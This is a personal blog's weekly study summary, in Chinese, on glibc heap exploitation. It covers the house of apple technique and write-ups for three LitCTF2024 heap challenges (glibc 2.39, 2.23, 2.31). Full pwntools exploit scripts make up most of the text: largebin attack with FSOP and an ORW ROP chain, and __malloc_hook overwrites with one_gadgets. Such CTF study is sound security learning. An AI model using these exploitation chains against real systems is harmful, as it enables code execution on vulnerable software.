24-06-03

本周学习总结

WHAT! IS! IO!

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、house of apple攻击模式

House of apple系列估计是我学的第一个对比较新的glibc还有效攻击的手法。

该攻击的利用条件十分的简单:

| 1、程序从main函数返回或能调用exit函数2、能泄露出heap地址和libc地址3、 能使用一次largebin attack(一次即可) |

在house of orange的基础上,利用原先house of orange的vtable表进行跳转到_wide_data->vtable表中(house of apple2)或转_codecvt->__cd_in.step->__fct(house of apple3)

理论上所需要的条件网络上都有总结:

| house of apple1
house of apple2
house of apple3 |

理论上能在glibc2.39还能够有效使用的一种手法。

二、[LitCTF2024]–heap-2.39–house of apple3 + ORW打法

Glibc:2.39-0ubuntu8.1_amd64

Check:

64位程序,保护全开。

该程序的漏洞描述在上期周报有,不再重复。

改fp->vtable到_IO_wfile_jumps + 0x8(调用_IO_wfile_underflow)。根据教程构造条件获得一次任意函数执行的机会。

为了控制rdx找的gadget:

因为此时程序流被劫持时寄存器的情况:

调用老朋友setcontext + 0x3D:

碰巧的是该libc没有直接能控制rdx的gadget,而open(Glibc调用)函数被执行后会将rdx清零,所以只能用syscall调用。

为syscall调用找的gadget:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote("node3.anna.nssctf.cn", 28354)
p = process("./heap")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(index, size):
sela(b">>", stre(1))
sela(b"idx? ", stre(index))
sela(b"size? ", stre(size))

def dele(index):
sela(b">>", stre(2))
sela(b"idx? ", stre(index))

def show(index):
sela(b">>", stre(3))
sela(b"idx? ", stre(index))

def edit(index, content):
sela(b">>", stre(4))
sela(b"idx? ", stre(index))
sea(b"content : ", content)

# ==================== 漏洞利用 ====================

# 步骤1: 分配chunk
add(0, 0x420)
add(1, 0x808)
add(2, 0x410)
add(3, 0x800)

# 步骤2: 释放chunk 0,泄露libc地址
dele(0)
show(0)

reu(b"content : ")
addr1 = raddr64()
libc_base = addr1 - 0x203b20
ph(libc_base, "libc_base")

IO_list_all = libc_base + 0x2044c0
ph(IO_list_all)
lock = libc_base + 0x205700
wide = libc_base + 0x2036e0
IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"] + 0x8
one = libc_base + 0xEF218
bad_addr = libc_base + 0x893DC
setc_addr = libc_base + libc.sym["setcontext"] + 0x3D

# 步骤3: Large Bin Attack准备
add(4, 0x430)
dele(2)

# 步骤4: 修改bk_nextsize指向_IO_list_all-0x20
edit(0, p64(addr1) * 2 + p64(0) + p64(IO_list_all - 0x20))
add(5, 0x800)

# 步骤5: 泄露heap地址
edit(0, b"A" * 0x18)
show(0)
reu(b"content : AAAAAAAAAAAAAAAAAAAAAAAA")
heap_base = raddr64() - 0xed0
ph(heap_base, "heap_base")

# 步骤6: 设置fd和bk指针
h1_addr134 = heap_base + 0xed0
h1_addr2 = libc_base + 0x203f10
h2_addr1 = libc_base + 0x203f10
h2_addr234 = heap_base + 0x290

edit(0, p64(h1_addr134) + p64(h1_addr2) + p64(h1_addr134) * 2)
edit(2, p64(h2_addr1) + p64(h2_addr234) * 3)

# 步骤7: 分配新chunk用于构造ROP
add(6, 0x410)
add(7, 0x420)

# 步骤8: 设置flag和_IO_buf_end
edit(1, b"flag\x00\x00\x00\x00" + b"C" * 0x7F8 + p64(0xFFFFFFFFFFFFFFEB))

# 步骤9: 准备ROP gadget
pop_rdi = libc_base + 0x10f75b
pop_rsi = libc_base + 0x110a4d
pop_rdx = libc_base + 0xFF
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
buf_addr = heap_base + 0x6d0
flag_addr = heap_base + 0x6d0
syscall = libc_base + 0xa5819
pop_rax = libc_base + 0xdd237

# 步骤10: 构造ORW链
ORW = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
ORW += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf_addr) + p64(pop_rax) + p64(0) + p64(syscall)
ORW += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf_addr) + p64(pop_rax) + p64(1) + p64(syscall)

print("ORWLEN:" + hex(len(ORW)))

# 步骤11: 构造FSOP payload
bad_chunk = heap_base + 0xed0

payload = p64(0xFFFFFFFFFFFFFFFF) + p64(0)
payload += p64(0) + p64(1)
payload += b"\x00" * 0x68 + p64(bad_chunk + 0x100) + p64(bad_chunk + 0x200)
payload += b"\x00" * 0x30 + p64(IO_wfile_jumps)
payload += b"\x00" * 0x20 + p64(bad_chunk + 0x300) + p64(0)
payload += ORW
payload += b"\x00" * 0x48 + p64(1) + p64(0)
payload += b"\x00" * 0x80 + p64(0x30) + p64(0) * 2 + p64(bad_chunk + 0x118) + p64(pop_rdi)
payload += b"\x00" * 0x48 + p64(0) + p64(0)
payload += b"\x00" * 0x18 + p64(bad_addr) + p64(0) + p64(setc_addr)

edit(6, payload)

# 步骤12: 触发FSOP
sela(b">>", stre(5))

# 进入交互模式
op()

不知道为什么,打通的概率很小。

另外,这种办法规划偏移和内存很麻烦。

三、[LitCTF2024]–heap-2.23

Gibc:2.23-0ubuntu11.3_amd64

check:

64位程序,canary和NX开启。

程序漏洞点为:del函数存在uaf漏洞。

打malloc_hook转onegadget秒了。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接
p = remote("node3.anna.nssctf.cn", 28354)

# 本地调试选项(已注释)
# p = process("./heap")
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

def add(index, size):
sela(b">>", stre(1))
sela(b"idx? ", stre(index))
sela(b"size? ", stre(size))

def dele(index):
sela(b">>", stre(2))
sela(b"idx? ", stre(index))

def show(index):
sela(b">>", stre(3))
sela(b"idx? ", stre(index))

def edit(index, content):
sela(b">>", stre(4))
sela(b"idx? ", stre(index))
sea(b"content : ", content)

# 漏洞利用流程
add(0, 0x520)
add(1, 0x40)
dele(0)
show(0)
reu(b"content : ")

libc_base = raddr64() - 0x3c4b78
ph(libc_base, "libc_base")

one = libc_base + 0xf1247
malloc_hook = libc_base + libc.sym["__malloc_hook"]

add(2, 0x60)
add(3, 0x60)
add(4, 0x40)
dele(2)
dele(3)
dele(2)
add(5, 0x60)
edit(5, p64(malloc_hook - 0x23))
add(6, 0x60)
add(7, 0x60)
add(8, 0x60)
edit(8, b"A" * 0x13 + p64(one))
add(9, 0x40)
op()

四、[LitCTF2024]–heap-2.31

Glibc:2.31-0ubuntu9.16_amd64

Check:

64为程序,保护全开。

uaf漏洞,同样打malloc_hook转onegadget秒了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

p = remote("node2.anna.nssctf.cn", 28937)
# p = process("./heap")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(index, size):
sela(b">>", stre(1))
sela(b"idx? ", stre(index))
sela(b"size? ", stre(size))

def dele(index):
sela(b">>", stre(2))
sela(b"idx? ", stre(index))

def show(index):
sela(b">>", stre(3))
sela(b"idx? ", stre(index))

def edit(index, content):
sela(b">>", stre(4))
sela(b"idx? ", stre(index))
sea(b"content : ", content)

# ==================== 漏洞利用 ====================

# 步骤1: 分配大chunk并释放,泄露libc地址
add(0, 0x520)
add(1, 0x40)
dele(0)
show(0)

reu(b"content : ")
libc_base = raddr64() - 0x1ecbe0
ph(libc_base, "libc_base")

malloc_hook = libc_base + libc.sym["__malloc_hook"]
one = libc_base + 0xe3b01

# 步骤2: Fastbin Attack准备
add(2, 0x40)
add(3, 0x40)
add(4, 0x40)
add(5, 0x40)

# 步骤3: 释放chunk 3和4,修改fd指针
dele(3)
dele(4)
edit(4, p64(malloc_hook))

# 步骤4: 两次分配,将chunk分配到malloc_hook
add(6, 0x40)
add(7, 0x40)

# 步骤5: 覆盖malloc_hook为one_gadget
edit(7, p64(one))

# 步骤6: 触发malloc,执行one_gadget
add(8, 0x60)

# 进入交互模式
op()

下周学习计划

| 应该要做的事情 |

学习感受


24-06-03
https://zlsf-zl.github.io/2024/06/03/6-3-6-9/
作者
ZLSF
发布于
2024年6月3日
许可协议